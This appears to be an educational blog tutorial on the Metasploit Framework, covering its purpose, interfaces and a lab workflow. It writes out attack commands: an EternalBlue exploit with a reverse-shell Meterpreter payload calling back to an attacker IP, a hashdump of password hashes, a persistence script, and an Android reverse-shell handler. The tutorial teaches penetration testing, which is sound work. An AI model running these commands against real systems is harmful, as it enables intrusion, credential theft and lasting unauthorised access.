What Is Metasploit Framework and How To Use Metasploit

The Metasploit Framework Project, developed by H.D. Moore in 2003, is a cybersecurity initiative that provides crucial information on network vulnerabilities and aids in penetration testing to produce IDS signatures. Acquired by Boston-based enterprise Rapid7 in 2009, the project has since introduced Metasploit Express and Metasploit Pro, proprietary versions, to enhance its offerings. 

Metasploit, originally coded in Perl before a 2007 shift to Ruby, is a double-edged sword. It can be leveraged both for assessing network vulnerabilities and for unauthorized system access. Ethical and illicit usage of this powerful tool underscores its wide-reaching implications. Top Cyber Security courses underscore the importance of proficiency in tools like Metasploit for network security. The mastery of such tools is key in navigating the intricate landscape of network vulnerabilities, marking Metasploit as an invaluable asset in the cybersecurity arsenal.

What is Metasploit?

Metasploit is an open-source initiative which provides public resources for security vulnerability exploration. It enables Security Analysts to review their own network infrastructure to identify potential security risks and determine which vulnerabilities need urgent attention.

Among the most impactful products of the Metasploit Project is the Metasploit Framework. This environment offers a platform for the development, verification, and deployment of exploits. Metasploit Framework Modules can be used to craft security testing tools, develop exploit modules, and operate as a penetration testing system. 

Metasploit framework serves as a powerful instrument that can be leveraged by ethical hackers and cyber offenders to inspect vulnerabilities in servers and networks. Being an open-source framework, it offers ease of use and flexibility across diverse operating systems. Best Ethical Hacking course online emphasizes the command of influential tools such as Metasploit. This vital tool for penetration testing empowers learners to effectively identify and reinforce vulnerabilities in their network systems.

What Is the Purpose of Metasploit? 

1. Penetration Testing: Metasploit is an invaluable tool for network security experts. They use it to conduct sophisticated penetration tests, assessing the robustness of systems and networks against potential attacks.
2. Patch Verification: System administrators employ Metasploit to verify the successful installation of patches. It ensures that the deployed solutions work effectively to plug the identified vulnerabilities.
3. Regression Testing: Product manufacturers utilize Metasploit to perform regression testing. It checks whether recent program changes have negatively impacted existing features, thus maintaining the integrity of their products.
4. Various Security Applications: Security engineers across different sectors use Metasploit for a range of applications. Its versatile nature makes it a crucial tool in the cybersecurity toolkit.
5. Proactive Defense Building: Metasploit's primary function is to help users identify their most vulnerable points susceptible to hacker attacks, enabling them to strengthen these weaknesses proactively.
6. Cybersecurity Training: KnowledgeHut’s Cyber Security training programs emphasize the importance of mastering tools like Metasploit. It provides hands-on experience, enabling practitioners to proficiently detect and fortify network vulnerabilities.

Why do we need Metasploit Framework? 

The Metasploit Framework, a versatile, Ruby-based platform, facilitates penetration testing via exploit code configuration and deployment. Metasploit Framework offers tools for security assessments, network enumeration, and detection evasion, making it crucial for security experts to understand.

Metasploit is essential for people involved in network security, system administration, or cyber threat analysis for several reasons:

1. Vulnerability Identification: Metasploit enables users to identify and understand vulnerabilities in their systems, networks, or applications. By conducting penetration tests, users can understand how a hacker might exploit their system and implement preventative measures.
2. Exploit Testing: The platform hosts an extensive database of exploit code, which users can test on their systems to understand potential threats. By doing so, they can assess the robustness of their current defenses and identify where improvements are needed.
3. Real-World Simulation: Metasploit provides a controlled environment for users to simulate real-world attack scenarios. These simulations offer practical insights into the potential impact of different threats and the effectiveness of defense strategies.
4. Security Assessment: Metasploit's tools enable detailed security assessments, network enumerations, and detection evasions. These capabilities are vital in understanding the breadth and depth of potential security threats.
5. Payload Delivery: The framework contains a diverse range of payloads, allowing users to simulate different attack outcomes, such as gaining control over a device or bypassing antivirus systems.
6. Education and Training: For learners in the field of cybersecurity, Metasploit serves as a hands-on educational tool. Its rich feature set and open-source nature make it a perfect platform for learning the nuances of network security and penetration testing.

Who can use Metasploit Framework? 

Metasploit Framework tools are a potent instrument used by cybersecurity specialists for performing penetration testing, by system administrators to verify the successful application of patches, by product providers to execute regression testing, and by security engineers in a variety of industries. Nowadays, all cybersecurity professionals learn to opt Metasploit Framework in the first place to conduct penetration testing exercise,

Security Professional Role	Use of Metasploit Framework
Cybersecurity Specialist	Uses Metasploit Framework for penetration testing to identify vulnerabilities in a system and to simulate how they could be exploited by an attacker. This allows them to understand potential threats and develop appropriate countermeasures.
System Administrator	Employs Metasploit to validate the successful implementation of patches. It helps to ensure the deployed security patches are working effectively, reducing the system's susceptibility to attacks.
Product Providers	Utilize Metasploit to conduct regression testing, ensuring that new changes or updates to their software have not inadvertently introduced vulnerabilities or affected the software's performance.
Security Engineers	Leverage Metasploit in a range of industries for various applications, including intrusion detection, vulnerability scanning, and system hardening. This versatile framework assists in building robust defense mechanisms.
Cybersecurity Trainees	Learn to use Metasploit as one of the primary tools for penetration testing exercises. It's a crucial part of their educational journey, helping them understand the practical applications of theoretical concepts.

How to use Metasploit Framework? 

Metasploit can be used on different operating systems like Windows, MacOS and Linux. But it is recommended to use Kali Linux for Web Penetration Testing.

Kali Linux is often recommended for web penetration testing and usage of Metasploit for several reasons:

1. Pre-installed Tools: Kali Linux comes with Metasploit and a range of other penetration testing tools pre-installed. This eliminates the need to individually install and configure these tools, saving users valuable time and effort.
2. Tailored for Penetration Testing: Kali Linux is specifically designed for penetration testing and digital forensics. It has numerous features, such as multi-language support and powerful command-line functionality, that are beneficial for these tasks.
3. Regular Updates: Kali Linux receives regular updates to its tool suite, ensuring users always have the most recent and effective versions of Metasploit and other tools. This makes it an optimal choice for staying ahead in a rapidly evolving field like cybersecurity.
4. Community and Support: Kali Linux has an active community of users and developers who are always willing to help each other. There are numerous forums, guides, and tutorials available to assist with any issues you might encounter.
5. Open Source: Like Metasploit, Kali Linux is open source, meaning users can modify and customize it to fit their needs. This openness aligns with the ethos of many cybersecurity professionals.

We have provided Metasploit Framework Kali Linux in our example to demonstrate exploits. Following are the prerequisites for using the Metasploit framework:

Setting up Virtual Lab:

Kali Linux can be installed as Dual Boot in Windows. In case Dual Booting is not a feasible option, then VMware or Virtual Box in Windows can be installed to run Kali Linux using Virtual Machine. VMware helps to run Kali Linux inside Windows and it’s easy to use.

Kali Linux Basics:

Understanding basic Linux commands is crucial when working with the Metasploit Framework. Linux, the underlying system for distributions like Kali, is command-line oriented, and hence, a certain level of proficiency with its terminal is required.

These commands can range from file and directory manipulation (like cd, ls, mv, cp, rm) to process management (ps, top, kill) and network operations (ifconfig, netstat, ssh). Being comfortable with text editors such as vi or nano is also beneficial as many configurations and scripts are text-based.

Further, familiarity with package management commands (apt-get in the case of Debian-based distributions like Kali) is crucial for installing and updating necessary tools. Lastly, understanding file permissions and security commands (like chmod, chown, sudo) is essential to ensure safe and correct operation of tools within the Linux environment.

Basic Python Programming and Bash Scripting

Python and Bash scripting are vital skills for working with the Metasploit Framework as they enable automation and more efficient utilization of its capabilities.

For instance, Python can be used to write scripts that automate the execution of multiple Metasploit modules or handle large-scale network scanning and vulnerability detection tasks. Python's straightforward syntax and powerful libraries make it an ideal choice for such tasks.

Bash scripting, on the other hand, is used to automate routine tasks directly within the Linux environment. For example, a bash script could be created to automatically start Metasploit services, load certain modules, or even run a predefined set of exploits against a target, all with a single command.

By incorporating Python and Bash scripting into their workflow, Metasploit users can conduct complex cybersecurity tasks more efficiently and accurately.

Python:

A basic Python script to automate a nmap scan and save the output could look like this:

import os
 # target IP
target = "192.168.1.1"
 # nmap command
command = "nmap -sV -oX output.xml " + target
 # run the command
os.system(command)

In this script, we're using Python's os.system() function to run the nmap command against a target. The output is saved as an XML file, which could then be imported into Metasploit for further analysis.

Bash:

A simple Bash script to automate Metasploit tasks might look like this:

#!/bin/bash
# start the Metasploit services
service postgresql start
service metasploit start
# use msfconsole to run a module
msfconsole -x "use exploit/multi/handler; set payload android/meterpreter/reverse_tcp; set lhost 192.168.1.1; set lport 4444; run"

In this script, we first start the necessary Metasploit services. Then we use Metasploit's msfconsole to automatically run an exploit module against a specified target. We're setting up a payload to listen for incoming connections from an Android device.

Metasploit Framework Interfaces

Metasploit is available in four (4) interfaces:

• msfcli: It is commonly written as 'MSFcli.' It is a single command-line interface for the Metasploit framework.
• msfconsole: It is the most popular Metasploit interface for the Metasploit framework. It gives an interactive shell where user can execute commands and run exploits.
• msfweb: It is the web interface of Metasploit that allows to set up projects and carry out penetration testing tasks.
• Armitage: It is the Graphical User Interface (GUI) front-end for Metasploit developed in Java.

Start the PostgreSQL Database Service

To initiate the Metasploit framework, the “PostgreSQL” database must be activated. This step is crucial as it facilitates quicker searches and data storage while executing a scan or performing an exploit. To start this process, open the Terminal and execute the following command.

Launch Metasploit

As previously outlined, the Metasploit framework offers four interfaces for users. In this context, the focus will be on utilizing the “msfconsole”. Presently, on Kali Linux, there exist two methods to launch the “msfconsole”.

• Command-line method
• Graphical Method

With the command-line method, execute the command below on your Terminal:

Alternatively, the same can be started “msfconsole” from the Kali GUI by clicking on the Menu button à Exploitation tools à Metasploit framework.

Upon the successful activation of the “msfconsole”, a Terminal prompt appearing in the format “msf [metasploit_version]” will be visible. For instance, the display may show an “msf5 > prompt”, indicating the utilization of Metasploit version 5. If a more recent version is in use, such as Metasploit version 6, the Terminal prompt would show as “msf6 > prompt”.”msf6” is the Metasploit Framework latest version.

Help Command:

The first and the most basic command to execute is the “help” command.

Search Command:

The other very valuable command is “search”. It allows to search for a specific module among the hundreds of modules available in Metasploit Framework. This command can take three parameters:

• type
• platform
• name

For example, we have used the syntax below to search for a common Unix exploit for “VSFTPD version 2.3.4”.

Use Command:

Another helpful command is the “use” command, which allows loading a module to attack or penetrate a system. These modules encompass exploits, payloads, auxiliaries, encoders, evasions, nops, and posts.

As an example, we will use a module to exploit an existing vulnerability on VSFTPD version 2.3.4. On the “msfconsole”, run the use command below to load our “vsftpd_234_backdoor” exploit.

If the module is successfully loaded, the prompt will change, as depicted in the image above. It appends the path of the module in a different color, often red. If a message similar to "No payload configured, defaulting to..." appears, there is no need to worry. It indicates that Metasploit couldn't automatically load the payload, and it must be done manually. In simple terms, a Payload refers to the code/script executed through the specified exploit.

Show options command:

After successfully loading a module, the next command to execute is the “show options” command.

This command shows the different options that can change with the module. 

For example, in the image above, we can see this module requires us to set the “RHOST” and “RPORT”.

• RHOST: That is the IP address of the remote system that you want to exploit.
• RPORT: That is the target port you wish to use on the target system.

Set Command

Another useful command is “set”, which enables the configuration of various values displayed in the output of the "show options" command. For example, to assign values to RHOST and RPORT, the syntax below can be used.

Upon rerunning the “show options” command, there will be a noticeable difference. The options “RHOSTS” and ”RPORT “ now have assigned values.

Show Payloads Command

The next command to run after this step is "show payloads" This command will display a list of all the payloads that are compatible with this module.

Running this command on the module will yield a list of compatible payloads. In this case, only one compatible payload is received. However, it's worth noting that certain modules can offer a wider range of options, sometimes exceeding ten compatible payloads to choose from.

Set Payload Command

To load a particular payload, use the set command as shown below.

Run Command

After successfully loading the payload, proceed by executing the following command to run the exploit against the target system's existing vulnerability.

From the provided image, it is evident that the exploit was successfully executed against the target system, granting us a command shell session. This implies that we have gained access to the system and can now execute various Linux commands directly from our “msfconsole”, which will be executed on the target system.

To test exploits in Metasploit user can refer to Metsploitable Framework which is an intentionally vulnerable virtual machine that is used for testing security tools and demonstrating common vulnerabilities.

This platform is designed to provide a secure and lawful training arena, facilitating users in acquiring knowledge and honing skills pertaining to different facets of computer and network security. 

The Metasploitable Framework virtual machine is equipped with a multitude of deliberately vulnerable services and obsolete software applications, all aimed at enabling practice of diverse exploit techniques. This may encompass a wide array of weaknesses, including but not limited to, vulnerabilities in web servers, databases, and more. It is also advisable to learn Metasploit Framework to apply these commands for generating exploits.

How does Metasploit Framework Works? 

Metasploit Framework, a penetration testing tool, follows a six-step process to find and exploit system vulnerabilities:

1. Information Gathering: Initially, data about the target system is collected, including software versions, accessible ports, and potential vulnerabilities. Tools like Nmap assist in this phase.

For example, to scan a target IP address (say, 192.168.1.1) and determine open ports along with the services running on them, the following command can be utilized:

nmap -sV 192.168.1.1

Here, -sV enables version detection, and 192.168.1.1 represents the target IP address. This command's output provides a list of open ports, corresponding services, and their versions, thereby helping to identify potential vulnerabilities for exploitation. However, it's crucial to note that unauthorized network scanning is considered illegal in many places, and proper authorization should always be obtained.

2. Choosing and Configuring an Exploit: Based on gathered data, a suitable exploit (a script to capitalize on system weakness) from Metasploit's collection is chosen and tailored to the target system.

Once the information about the target system is gathered, an appropriate exploit from Metasploit's vast collection is chosen and configured to exploit a discovered vulnerability. For example, suppose a Windows system was found to be vulnerable to the MS17-010 EternalBlue SMB vulnerability.

In Metasploit, the following commands could be used to set up this exploit:

use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS 192.168.1.1
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST 192.168.1.2

exploit

In this example:

• use exploit/windows/smb/ms17_010_eternalblue - selects the exploit for the MS17-010 vulnerability.
• set RHOSTS 192.168.1.1 - specifies the target IP address.
• set PAYLOAD windows/x64/meterpreter/reverse_tcp - sets the payload, which will be executed upon successful exploitation.
• set LHOST 192.168.1.2 - sets the IP address of the local host, where the payload will connect back.
• exploit - initiates the exploit.

3. Choosing and Configuring a Payload: Post-exploit configuration, a payload (code to run on the target) is selected. Payloads can create a reverse shell for control or gather data. Like the exploit, the payload requires target-specific configuration.

After choosing and configuring the exploit, a suitable payload is selected and tailored to the specific needs of the operation. Payloads are the code snippets run on the target system after successful exploitation.

For instance, suppose we want to create a reverse shell on a successfully exploited Windows system. The reverse shell would provide remote control over the target system. Here's how to set it up using Metasploit:

set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST 192.168.1.2
set LPORT 4444

exploit

In this case:

• set PAYLOAD windows/x64/meterpreter/reverse_tcp - sets the payload that will create a reverse shell on the exploited system.
• set LHOST 192.168.1.2 - configures the IP address that the reverse shell will connect back to (i.e., the attacker's system).
• set LPORT 4444 - designates the port number to be used for the connection.
• exploit - initiates the exploit, leading to the payload execution upon successful exploitation.

4. Exploitation: Once the exploit and payload are configured, the exploit is deployed to the target system. If successful, the payload is delivered and executed.

Once the exploit and payload have been properly configured, it's time to deploy the exploit to the target system. The successful execution of this stage results in the delivery and execution of the payload.

Building upon the previous examples, initiating an exploitation process using Metasploit would look like this:

exploit

In this context:

• exploit is the command that initiates the exploit against the target system (in this case, a system with IP address 192.168.1.1 that's vulnerable to the MS17-010 vulnerability).

If the exploit is successful, the payload (in this case, a reverse shell that connects back to the attacker's system at 192.168.1.2 on port 4444) is delivered to and executed on the target system.

5. Post-Exploitation: After payload delivery, "post-exploitation" modules enable further system interaction. These modules can maintain access, conceal intrusion traces, or gather more data.

Post-exploitation is the phase where additional operations are carried out on the successfully exploited system. Post-exploitation modules in Metasploit allow for further interaction with the system, such as maintaining access, concealing the intrusion, or gathering more data.

For example, the Meterpreter payload is commonly used in post-exploitation for its vast capabilities. Once Meterpreter is running on the target system, one can execute a number of modules. A simple example would be using the hashdump command to gather the hashes of system passwords:

meterpreter > hashdump

This command will dump the contents of the SAM database, including usernames and hashed passwords.

In another example, the following command could be used to establish persistence on the target, allowing the attacker to maintain access even if the system reboots:

meterpreter > run persistence -U -i 5 -p 4444 -r 192.168.1.2

Here:

• -U means the script will start when the user logs in.
• -i 5 means the script will try to connect back every 5 seconds.
• -p 4444 and -r 192.168.1.2 define the port and IP to which the script will try to reconnect.
• Reporting: Metasploit includes capabilities to collect and present data about successful exploits, useful in penetration testing to report on discovered vulnerabilities.

Advantages and Disadvantages of Metasploit Framework 

Advantages	Disadvantages
Open-source: Metasploit Framework's open-source nature allows for continuous enhancements and improvements from the global community	Complexity: Owing to its intricate structure and advanced features, newcomers may struggle to navigate and utilize Metasploit effectively.
Powerful: Metasploit is highly effective in identifying and taking advantage of a vast array of recognized security flaws	Outdated modules: Some of the Metasploit Framework's modules could have been outdated and therefore ineffective against updated or newer systems.
Versatile: The Metasploit Framework supports a wide range of operating systems such as Windows, Mac, Linux etc.	Over-reliance: Over-reliance on Metasploit Framework can hinder understanding of the underlying mechanics of exploitation.
Modular: The modular architecture of Metasploit Framework allows for flexibility and customization.	Detection: Some antivirus or intrusion detection systems can recognize Metasploit's payloads and attacks.
Comprehensive: Metasploit Framework provides a complete package for penetration testing.	Legal and Ethical concerns: In improper hands, it could be exploited for illicit purposes
Regularly Updated: Metasploit is regularly updated with new exploit modules.	Resource Intensive: It can be resource intensive and may not work efficiently on older systems.

What Tools Are Used in Metasploit? 

Metasploit is an influential tool for penetration testing, packed with a diverse array of modules and tools that facilitate vulnerability evaluation, system exploitation, and actions after a successful exploit. Some of these tools encompass:

• Exploit Modules: These are utilized to take advantage of system vulnerabilities. They span from simpler buffer overflow assaults to more advanced forms of attacks.
• Auxiliary Modules: These are ancillary modules not intended for system exploitation, but rather for different functions, such as network scanning, fuzzing, data sniffing, etc.
• Post-Exploitation Modules: These modules are used after generating successful exploitation. They can be used for jobs such as gathering further information, privilege escalation, or maintaining access to the system.
• Payload Modules: These are the pieces of code that run on a system after successful exploitation. Payloads can be as simple as a command shell or as complex as a Meterpreter session, which provides an interactive environment to manipulate the compromised system.
• Encoders, Nops, and Evasion Modules: These tools are used to help exploit module features to evade detection by intrusion detection systems (IDS) or to ensure the payload executes correctly.

Conclusion 

The Metasploit Framework holds a significant position in the cybersecurity realm, playing a pivotal role in penetration testing and vulnerability probing. Its extensive variety of modules, ranging from those for exploits to post-exploitation tools, equips users to spot, exploit, and examine vulnerabilities within a networked environment.

The Framework Metasploit’s adaptability, allowing users to transition from a command-line interface (msfconsole) to a graphical user interface (Armitage), establishes it as a highly versatile instrument suited for a wide array of testing contexts and user preferences.

Yet, it's important to remember that with significant power comes significant responsibility. Metasploit should be used in an ethical, responsible manner, strictly adhering to legal parameters, as improper use could lead to detrimental or illicit activities.

In conclusion, the Metasploit Framework presents itself as a robust and efficient platform for scrutinizing and augmenting a network or system's security posture. It continues to be an indispensable tool in the toolbox of cybersecurity professionals globally. Metasploit is a general vulnerability scanner so suitable for all kind of security portfolio.